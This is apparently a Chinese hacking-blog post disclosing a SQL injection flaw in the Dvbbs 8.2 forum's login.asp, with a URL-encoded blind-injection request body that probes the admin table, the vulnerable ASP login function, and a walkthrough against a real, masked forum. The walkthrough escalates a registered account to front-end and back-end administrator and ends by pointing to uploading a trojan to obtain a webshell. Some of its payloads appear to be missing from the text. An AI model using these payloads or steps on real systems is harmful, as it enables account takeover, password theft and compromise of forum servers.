Dvbbs8.2 sql 版login.asp远程sql注入漏洞

作者:hack1990 时间:11-11-01 阅读数:1079人阅读

最新版本的又暴了远程SQL注入漏洞!
下面提供该漏洞的分析及利用!

【漏洞描述】中国应用最广泛的论坛程序,最新dvbbs8.2的注入漏洞0day 包括官方版本在内的access及sql版本。漏洞存在源程序 login.asp
【漏洞分析】Login.asp 程序在检查隐藏值user用户名的登陆时没有过滤特殊符号,导致可以利用sql注入方式猜解出论坛管理员及所有用户的密码或者执行其它高级的sql语句直接威胁到服务器安全。
【漏洞等级】高危
【代码分析】

password=123123&codestr=71&CookieDate=2&userhidden=2&comeurl=index.asp&submit=%u7ACB%u5373%u767B%u5F55&ajaxPost=1&username=where%2527%2520and%25201%253D%2528select%2520count%2528*%2529%2520from%2520dv_admin%2520where%2520left%2528username%252C1%2529%253D%2527a%2527%2529%2520and%2520%25271%2527%253D%25271

Login.asp 代码片段

-----------------------------------------------------------------------------------------------------------------

Rem ==========论坛登录函数=========
Rem 判断用户登录
Function ChkUserLogin(username,password,mobile,usercookies,ctype)
Dim rsUser,article,userclass,titlepic
Dim userhidden,lastip,UserLastLogin
Dim GroupID,ClassSql,FoundGrade
Dim regname,iMyUserInfo
Dim sql,sqlstr,OLDuserhidden
FoundGrade=False
lastip=Dvbbs.UserTrueIP
userhidden=request.form("userhidden")
If userhidden <> "1" Then userhidden=2
ChkUserLogin=false
If mobile<>"" Then
   sqlstr=" Passport='"&mobile&"'"
Else
   sqlstr=" UserName='"&username&"'"
End If
Sql="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace,UserWidth,UserHeight,JoinDate,LastLogin,lastlogin as cometime , LastLogin as activetime,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday,UserMoney,UserTicket,FollowMsgID,Vip_StarTime,Vip_EndTime,userid as boardid"
Sql=Sql & " From [Dv_User] Where "&sqlstr&""
set rsUser=Dvbbs.Execute(sql)
If rsUser.eof and rsUser.bof Then
   'strString("本论坛不存在该用户名.@@@@0")
   ChkUserLogin=False
   Exit Function
Else
   If rsUser("Lockuser") =1 Or rsUser("UserGroupID") =5 Then
          ChkUserLogin=False
          Exit Function
   Else
      If Trim(password)=Trim(rsUser("UserPassword")) Then
             ChkUserLogin=True
             Dvbbs.UserID=RsUser("UserID")
             RegName = RsUser("UserName")
             Article= RsUser("UserPost")
             UserLastLogin = RsUser("cometime")
             UserClass = RsUser("Userclass")
         GroupID = RsUser("userGroupID")
         OLDuserhidden=RsUser("UserHidden")
             TitlePic = RsUser("UserTitle")
             If Article < 0 Then Article=0
             Set Dvbbs.UserSession=Dvbbs.RecordsetToxml(rsUser,"userinfo","xml")
            Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@cometime").text=Now()
          Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@activetime").text=DateAdd("s",-3600,Now())
             Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@boardid").text=0
          Dvbbs.UserSession.documentElement.selectSingleNode("userinfo").attributes.setNamedItem(Dvbbs.UserSession.createNode(2,"isuserpermissionall","")).text=Dvbbs.FoundUserPermission_All()
             If OLDuserhidden <> CLng(userhidden) Then
                Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@userhidden").text=userhidden
Dvbbs.Execute("update Dv_user set userhidden="&userhidden&" where UserId=" & Dvbbs.UserID)
             End If
             Dim BS
             Set Bs=Dvbbs.GetBrowser()
             Dvbbs.UserSession.documentElement.appendChild(Bs.documentElement)
             If EnabledSession Then Session(Dvbbs.CacheName & "UserID")=Dvbbs.UserSession.xml
          Else
             If ajaxPro Then
               strString("用户名或者密码不正确.@@@@0")
             End If
             ChkUserLogin=False
             Exit Function
          End If
   End If
End If
-----------------------------------------------------------------------------------------------------------------


下面演示如何利用该漏洞拿下后台:

随便找了一个论坛http://www.*******.net/首先注册一个帐户“aking”然后访问其登陆页面
 

在用户名处写入    密码随便登陆看到其返回信息如图

 

很明显我们能发现第一次提交正确和第二次提交的不正确时两者返回的信息有着明显的差别。就说明他是可以利用的。那我就来将我的帐户提升为管理员吧!在用户名处写入密码我就用正确的来写然后写好后登陆看到反回的信息

我们可以看到登陆提示为“本论坛不存在该用户名”这个就说明我们所提升的帐户“hxhack”已经为管理员了。

现在我们已经是前台管理员了。

那么怎样才能让我们的帐户具有后台权限呢?我们继续来到login.asp这个登陆页面。在用户名处写入


其中的“368f639da0644e98”是“aking”的MD5加密后的值,也就是说我们这里提升为后台管理权限的帐户的后台管理密码为“aking”。之后我们看看能否登陆后台,OK! 如图--

接来就是传马,拿 webshell

发表评论